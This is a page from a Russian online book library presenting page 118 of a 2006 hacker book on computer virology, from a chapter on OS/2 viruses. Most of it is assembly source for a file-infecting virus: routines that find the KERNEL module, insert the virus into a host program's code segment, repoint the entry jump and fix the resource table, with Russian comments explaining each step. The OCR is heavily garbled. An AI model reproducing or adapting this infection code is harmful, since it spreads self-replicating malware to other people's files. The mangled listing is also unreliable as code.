Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 112 113 114 115 116 117 < 118 > 119 120 121 122 .. 123 >> Следующая

mov ax,cs:[si] add si,2 stosw loop RRL pop si
mov dx,OFFSET TEMP mov cx,cs:[si+ARELOCS] shl cx,3
call FILE.WRITE ;и помещаем их в файл ret
Эта подпрограмма находит модуль KERNEL в таблице модульных ссылок и
помещает его в записи перемещений вируса. SETUP.KERNEL
4Q?
ГЛАВА 10. Вирусы для OS/2
хог сх.сх
mov dx,WORD PTR [NEWHDR+28H] {переходим к началу таблицы {модульных
ссылок add dx,[NH_OFFSET] adc cx,0 call FILE_SEEK_ST mov dx,OFFSET TEMP
mov cx,40H {читаем офсет 32 модуля
call FILE_READ ;в буфере TEMP mov si.OFFSET TEMP SK1: lodsw {получаем
офсет модуля
push si
mov dx, [NH_OFFSET] ;осматризаем таблицу импортированных имен add dx.WORD
PTR [NEW_HDR+2AH] add dx.ax - inc dx xor cx.cx
call FILE_SEEK_ST {готовимся читать имя модуля mov сх,40Н
mov dx.OFFSET TEMP + 40H
call FILE READ {читаем его в TEMP в 40H
pop ax
push ax
sub ax,OFFSET TEMP shr ax,1
mov [KERNEL],ax {полагаем, что это KERNEL
cmp ax,WORD PTR [NEW_HDR+1EH] {последняя запись?
jge SHORT SK2 ;да, используем ее по умолчанию
mov di,OFFSET TEMP + 40H
mov si.OFFSET KNAME
mov cx,8
repz cmpsb {проверяем ее jnz SHORT SK3 ;не последняя, продолжаем SK2: pop
si {иначе выходим с KERNEL, установленным ;так, как он есть
4ЛЛ
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
ret
SK3: pop si jmp SK1
Эта подпрограмма пишет код вируса в инфицируемый сегмент кода. Она также
обновляет прыжок, которым завершается вирус. Прыжок должен указывать на
старую точку входа в этот сегмент.
WRITE_VIRUS_CODE:
mov ax,[INITSEC] [секторы для сегмента кода mov cx,[LOG_SEC]
mul сх ;dx:ax = локация сегмента кода add ах,WORD PTR [NEW_HDR+14H] adc
dx,0 ;dbcax=место, куда вставляется вирус mov cx.dx mov dx,ax push cx
push dx [сохраняем значение, чтобы подстроить прыжок call FILE_SEEK_ST
[ищем здесь
mov di,OFFSET TEMP [перемещаем код вируса в сегмент д анных mov
cx,VIRUS_SIZE mov si,[VSTART]
WVCL: mov al,cs:[si] inc si stosb
loop WVCL
mov si,[VSTART] [устанавливаем перемещаемые области в коде add si.OFFSET
ARELOCS ;до FFFF 0000 mov cx,cs:[si]
ГЛАВА 10. Вирусы для OS/2
add si,4 WVC2: mov di,cs:[si] add di,OFFSET TEMP mov ax.OFFFFH stosw inc
ax stosw add si,8 loop WVC2
mov cx,VIRUS_SIZE ;сх=размер вируса
mov dx.OFFSET TEMP ;dx=o0ceT начала вируса call FILE_WRITE '.записываем
вирус в файл pop dx ;OK, теперь обновляем прыжок
pop сх ;к жертве
mov ах,OFFSET VIRUS_DONE - OFFSET VIRUS inc ax
add dx.ax
adc cx,0 ;сх:с1х=локация для обновления push ax
call FILE_SEEK_ST ;переходим туда
pop ax
inc ax
inc ax
add ax,WORD FTR [NEW_HDR+14H] ;ах=офсет инструкции ; после прыжка sub
ax.fENTRYPT] ;ах=расстояние для прыжка neg ах ;делаем его отрицательным
числом mov WORD PTR [TEMP],ах сохраняем его здесь mov сх,2 ;и записываем
его на диск mov dx.OFFSET TEMP
call FILE_WRITE ;все сделано
ret
Обновляем таблицу ресурсов, чтобы секторные указатели были правильными
(при наличии каких-либо ресурсов).
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
UPDATE_RES_TABLE:
cmp WORD PTR [NEW_HDR+34H],0 {имеются какие-то ресурсы? jz URTE ;нет,
выйти из этой подпрограммы
mov dx.WORD PTR [NEW_HDR+24H] {перемещаем таблицу ресурсов add
dx,[NH_OFFSET] ; в EXE add dx,2 xor cx.cx call FILE_SEEK_ST URT1:
mov dx.OFFSETTEMP mov cx,8
call FILE_READ {читаем 8-байтовую запись информации о типе cmp WORD PTR
[TEMPJ.O ;ID типа О? jz SHORT URTE ;да, все сделано
mew cx,WORD PTR [TEMP*2] {получаем число записей информации об {имени для
чтения URT2: push сх
mov dx.OFFSETTEMP mov сх,12
call FILE_READ {читаем 1 -ю запись информации об имени
mov ах,WORD PTR [TEMP] {получаем офсет ресурса
cmp ax,[INITSEC] {больше, чем локация первоначального cs? jle SHORT URT3
;нет, не тревожимся о нем add ax,[VIRSECS] {добавляем размер вируса mov
WORD PTR [TEMP],ах
mov dx,-12 mov cx.OFFFFH
mova),1 {теперь возвращаем указатель файла вверх call FILE_SEEK mow
dx,OFFSET TEMP {записываем обновленную запись ресурса
ГЛАВА 10. Вирусы для OS/2
mov сх,12 ;вфайл call FILEWRITE
URT3: pop сх
dec сх ;читаем, пока не пройдем все записи информации об jnz URT2 ;имени
для этого типа
jmp URT1 ;переходим к другой записи информации о типе URTE: ret
;здесь производятся вызовы к I/O функциям файла, основанным на DOSCALL
открываем файл, указанный в ds:dx в режиме чтения/записи: FILE_OPEN:
push ds ;вталкиваем указатель к имени файла push dx
push ds ;вталкиваем указатель к индексу push OFFSET FHANDLE push ds
;вталкиваем указатель к OpenAction push OFFSET OPENACTION
push 0 назначаем DWORD первоначального файла push 0
push 3;вталкиваем атрибуты (скрытый, т/о, нормальный)!
push 1 ;FILE_OPEN
push 42 ;OPEN_SHARE_DENYNONE
push 0 ;DWORD 0 (в резерве)
push 0
ROPEN: call DosOpen ;открываем файл or ax,ax устанавливаем флаг z
ret ;возвращаемся с индексом/ошибкой в ах ;читаем сх байтов данных к
ds:dx из файла, чей индекс = FHANDLE
FILE_READ:
push [FHANDLE] ;передаем индекс к Jread
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
push ds
push dx {буфер, где будем читать
push сх {байты для чтения
push ds {место, где хранятся байты для чтения push OFFSET WRITTEN RREAD:
Предыдущая << 1 .. 112 113 114 115 116 117 < 118 > 119 120 121 122 .. 123 >> Следующая